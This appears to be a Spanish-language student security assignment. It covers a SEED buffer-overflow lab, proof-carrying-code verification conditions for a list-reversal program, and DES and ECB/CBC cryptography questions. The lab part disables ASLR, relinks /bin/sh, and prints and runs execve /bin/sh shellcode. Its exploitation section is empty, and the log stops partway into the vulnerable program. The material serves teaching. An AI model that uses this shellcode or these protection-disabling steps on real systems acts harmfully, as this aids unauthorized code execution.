Trabajo Práctico 2
Seguridad Informática

Alumna:

Sullivan, Katherine

Universidad Nacional de Rosario

2023

1 Buffer Overflow

1.1 Apagando las contramedidas

Para empezar con el ataque, debemos apagar las contramedidas que se nos indican en el laboratorio.

```
[11/01/23]seed@VM:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

```
[11/01/23]seed@VM:~$ sudo ln -sf /bin/zsh /bin/sh
```

1.2 Corriendo el shellcode

Para familiarizarnos con su funcionamiento el laboratorio pone como tarea el correr el shellcode, así que eso hacemos

```
[11/01/23]seed@VM:~/Downloads$ cat call_shellcode.c
/* call_shellcode.c  */

/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

const char code[] =
  "\x31\xc0"             /* xorl    %eax,%eax              */
  "\x50"                 /* pushl   %eax                   */
  "\x68""//sh"           /* pushl   $0x68732f2f            */
  "\x68""/bin"           /* pushl   $0x6e69622f            */
  "\x89\xe3"             /* movl    %esp,%ebx              */
  "\x50"                 /* pushl   %eax                   */
  "\x53"                 /* pushl   %ebx                   */
  "\x89\xe1"             /* movl    %esp,%ecx              */
  "\x99"                 /* cdq                            */
  "\xb0\x0b"             /* movb    $0x0b,%al              */
  "\xcd\x80"             /* int     $0x80                  */
;

int main(int argc, char **argv)
{
   char buf[sizeof(code)];
   strcpy(buf, code);
   ((void(*)( ))buf)( );
}
[11/01/23]seed@VM:~/Downloads$ gcc -z execstack -o call_shellcode call_shellcode.c
[11/01/23]seed@VM:~/Downloads$ ./call_shellcode
$ ls
call_shellcode  call_shellcode.c  exploit.c  exploit.py  stack.c
$ cat stack.c
/* Vunlerable program: stack.c */
/* You can get this program from the lab's website */

#include <stdlib.h>
#include <stdio.h>
```

1.3 Explotando la vulnerabilidad

2 PCC

A. Descripción del programa

Precondition: $r_0 :_m intlist \wedge r_1 :_m intlist \wedge tag(r_1) = 0 \wedge r_6 = 0$

```
1:          MOV r2 := r0
2:          MOV r3 := r1
3:          INV r2 :m intlist ∧ r3 :m intlist ∧ r6 = 0
4:    L1 :  LD r5 := m(r2 + 0)
5:          BEQ (r5 = r6) 7
6:          LD r4 := m(r2 + 2)
7:          ST m(r2 + 2) := r3
8:          MOV r3 := r2
9:          MOV r2 := r4
10:         JMP − 6
11:         INV r3 :m intlist
12:   L2 :  MOV r0 := r3
13:         RET
```

Podemos entender el programa como un bucle entre las líneas L1 y L2, el cual se ejecuta hasta que la lista en r_2 queda vacía.

Lo almacenado en r_2 comienza siendo la lista argumento r_0, lo almacenado en r_3, una lista vacía y el funcionamiento dentro del bucle es el siguiente:

En r_4 se guarda la *tail* de la de la lista en r_2, mientras que se guarda como *next* del primer elemento de la lista r_2 a r_3, y luego, se pasa esa lista armada por el *head* de r_2 y r_3 a r_3, mientras que lo guardado en r_4 (la *tail*) pasa a r_2 y se repite el ciclo.

Esto, en resumen, lo que logra es que en r_3 se vaya reconstruyendo lo que había en la lista r_0 pero de manera inversa y esto es lo que devolverá la función.

El programa es una implementación de la función inverse para listas de enteros

B. Computación de la condición de verificación

$$VC_{13} = true$$

$$\begin{aligned} VC_{12} &= VC_{13}[r_3/r_0] \\ &= true \end{aligned}$$

$$VC_{11} = r_3 :_m intlist$$

$$\begin{aligned} VC_{10} &= VC_{10+(-6)-1} \\ &= VC_3 \\ &= r_2 :_m intlist \wedge r_3 :_m intlist \wedge (r_6 = 0) \end{aligned}$$

$$\begin{aligned} VC_9 &= VC_{10}[r_4/r_2] \\ &= r_4 :_m intlist \wedge r_3 :_m intlist \wedge (r_6 = 0) \end{aligned}$$

$$VC_8 = VC_9[r_2/r_3]$$
$$= r_4 :_m intlist \wedge r_2 :_m intlist \wedge (r_6 = 0)$$

$$VC_7 = VC_8[upd(m, r_2 + 2, r_3)/m] \wedge writable(r_2 + 2)$$
$$= r_4 :_{upd(m,r_2+2,r_3)} intlist \wedge r_2 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2)$$

$$VC_6 = VC_7[m(r_2 + 2)/r_4] \wedge readable(r_2 + 2)$$
$$= m(r_2 + 2) :_{upd(m,r_2+2,r_3)} intlist$$
$$\wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge r_6 = 0 \wedge writable(r_2 + 2) \wedge readable(r_2 + 2)$$
$$= r_3 :_m intlist \wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2) \wedge readable(r_2 + 2)$$

$$VC_5 = (r_5 = r_6 \rightarrow VC_{5+7-1}) \wedge (r_5 \neq r_6 \rightarrow VC_6)$$
$$= (r_5 = r_6 \rightarrow VC_{11}) \wedge (r_5 \neq r_6 \rightarrow VC_6)$$
$$= (r_5 = r_6 \rightarrow r_3 :_m intlist)$$
$$\wedge (r_5 \neq r_6 \rightarrow$$
$$r_3 :_m intlist \wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2) \wedge readable(r_2 + 2))$$

$$VC_4 = VC_5[m(r_2 + 0)/r_5]$$
$$= (m(r_2 + 0) = r_6 \rightarrow r_3 :_m intlist)$$
$$\wedge (m(r_2 + 0) \neq r_6 \rightarrow$$
$$r_3 :_m intlist \wedge r_3 :_{upd(m,r_2+2,r_3)} intlist \wedge (r_6 = 0) \wedge writable(r_2 + 2) \wedge readable(r_2 + 2))$$

$$VC_3 = r_2 :_m intlist \wedge r_3 :_m intlist \wedge (r_6 = 0)$$

$$VC_2 = VC_3[r_1/r_3]$$
$$= r_2 :_m intlist \wedge r_1 :_m intlist \wedge (r_6 = 0)$$

$$VC_1 = VC_2[r_0/r_2]$$
$$= r_0 :_m intlist \wedge r_1 :_m intlist \wedge (r_6 = 0)$$

C. Modificación para listas ordenadas

Para poder condicionar que las listas estén ordenadas se podría imponer una condición $ordered\_intlist(v, m)$ formada con las fórmulas atómicas y las fórmulas del lenguaje presentadas en la sección 3.1.

Definamos $ordered\_intlist(v, m)$ como sigue:

$$ordered\_intlist(v, m) = v :_m intlist$$
$$\wedge (m(v) = 0$$
$$\vee (m(v) = 1 \wedge ordered\_intlist(m(v + 2), m) \wedge m(v + 1) \leq m(m(v + 2) + 1)))$$

Con esta definición los únicos cambios en el código que habría que hacer para que solo se tomen lisats ordenadas de input serían que en la precondición tendríamos:

$ordered\_intlist(r_0, m) \wedge ordered\_intlist(r_1, m) \wedge tag(r_1) = 0 \wedge r_6 = 0$

y en la instrucción 3 tendríamos:

INV $ordered\_intlist(r_2, m) \wedge r_3 :_m intlist \wedge r_6 = 0$

3 Criptografía

Ejercicio 2

Se nos solicita responder cómo funciona la desencriptación para DES con dos claves y qué vulnerabilidades podría tener este esquema.

La idea de utilizar más de una clave para aumentar la longitud efectiva de la clave en DES es la idea que se utiliza en el conocido Triple DES. Este enfoque surge de la vulnerabilidad frente a ataques por fuerza bruta que comienza a generar el solo contar con claves de 56 bits.

El mensaje se cifraría y luego se descifraría de la siguiente manera:

- Cifrado:
  - Paso 1: Se cifra el mensaje original con la primera clave (k1).
  - Paso 2: Se cifra el resultado del paso 1 con la segunda clave (k2).
- Descifrado:
  - Paso 1: Se descifra el mensaje con la segunda clave (k2).
  - Paso 2: Se descifra el resultado del paso 2 con la primera clave (k1).

La principal ventaja de este enfoque es que ofrece mayor seguridad debido a su mayor longitud de clave efectiva. Sin embargo, si un atacante tiene mucha memoria disponible, podría intentar realizar ataques de búsqueda exhaustiva almacenando todos los resultados intermedios de las claves intermedias en la fase de cifrado y lograr producir un ataque.

Si bien este nuevo enfoque ofrece cierta resistencia a este tipo de ataques (en especial respecto al DES original) debido a su longitud de clave efectiva, aún así, la seguridad depende de la complejidad y aleatoriedad de las claves utilizadas (por ejemplo, si se tomasen dos claves iguales sería equivalente a DES).

Ejercicio 6

Se nos solicita responder cuál es la diferencia entre los modos de operación ECB y CBC y cuál recomendaríamos para encriptar el contenido de una imagen en forma de mapa de bits.

Los modos de operación ECB (Electronic Codebook) y CBC (Cipher Block Chaining) son dos enfoques diferentes para cifrar datos mediante DES.

Mientras ECB divide el mensaje en bloques de datos fijos y cifra cada bloque de forma independiente utilizando la misma clave, haciendo que los bloques de cifrado sean independiente entre sí, el CBC introduce un vector de inicialización (IV) que se combina (con XOR) con el primer bloque de datos antes de cifrar y el bloque cifrado resultante se combina con el siguiente bloque de datos antes de cifrarlo, haciendo que cada bloque cifrado dependa del bloque anterior.

Esto produce que si bien ECB es más paralelizable, este puede revelar patrones en el texto original al existir la posibilidad de haber bloques idénticos que se cifren de la misma manera.

Por lo tanto la recomendación para encriptar una imagen en forma de mapa de bits sería el modo de operación CBC, puesto que en imágenes es bastante probable el encontrarse con bloques repetidos.